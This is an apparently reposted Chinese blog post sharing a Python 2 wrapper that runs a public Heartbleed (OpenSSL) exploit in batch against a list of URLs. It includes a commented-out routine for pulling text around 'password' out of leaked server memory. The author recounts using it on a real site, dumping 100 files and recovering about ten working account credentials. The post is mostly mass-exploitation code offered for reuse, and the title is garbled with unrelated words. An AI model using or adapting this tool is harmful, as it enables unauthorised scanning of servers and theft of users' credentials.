我是靠谱客的博主 鲜艳含羞草,最近开发中收集的这篇文章主要介绍python显示血量条_批量检测openssl(心脏出血)漏洞(新手学python),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

最近openssl(心脏滴血)漏洞挺火的,貌似这几天看到微博上有人说没多少危害之类的,不过根据亲测,发现危害还是比较大的。

所以找了个站,用for循环,批量抓了100个文件,大概10分钟左右完成,查找帐号和密码大概有10个左右,测试基本都是可以登录的,如果是访问量大的网站,可能段时间内能抓到更多!自己利用现有EXP写了个方便批量检测该漏洞的,主要是练手python,感觉不练进步太慢。贴上代码:

#coding:utf-8

import subprocess

import time

#遍历目标文件中的URL

def readtar(targetpath):

f=open(targetpath,"r")

for url in f.readlines():

url=url.strip("rn")

exploit(url)

#Exp执行,获取执行后的原始回显,发送给getres进行处理

def exploit(url):

cmd="python "+r"e:dayopensslssltest.py "+url

print cmd

expover=subprocess.Popen(cmd,stdout=subprocess.PIPE)

time.sleep(5)

expres=expover.stdout.read()

print expres

'''

#EXP执行回显筛选,获取有password的字符串

def getres(expres):

ispwd=False

if expres.find("password")>0:

ispwd=True

if ispwd==True:

keywords="password"

before=expres[expres.index(keywords)-280:expres.index(keywords)]

after=expres[expres.index(keywords)+len(keywords):expres.index(keywords)+len(keywords)+140]

passallstr=before+keywords+after

print passallstr

if len(passallstr)==0:

print "Maybe no pass or user in strings"

'''

if __name__=='__main__':

#注明测试目标所在文件

targetfile=r"e:dayurl.txt"

readtar(targetfile)

主要还是借助公布的exp,只是增加了很简单的文件读取遍历挨个测试的代码,还想只打印出出现”password”关键字的前后几行,最后貌似还有点问题,所以注释掉了。

最后编辑:2014-04-13作者:admin

这个作者貌似有点懒,什么都没有留下。

最后

以上就是鲜艳含羞草为你收集整理的python显示血量条_批量检测openssl(心脏出血)漏洞(新手学python)的全部内容,希望文章能够帮你解决python显示血量条_批量检测openssl(心脏出血)漏洞(新手学python)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部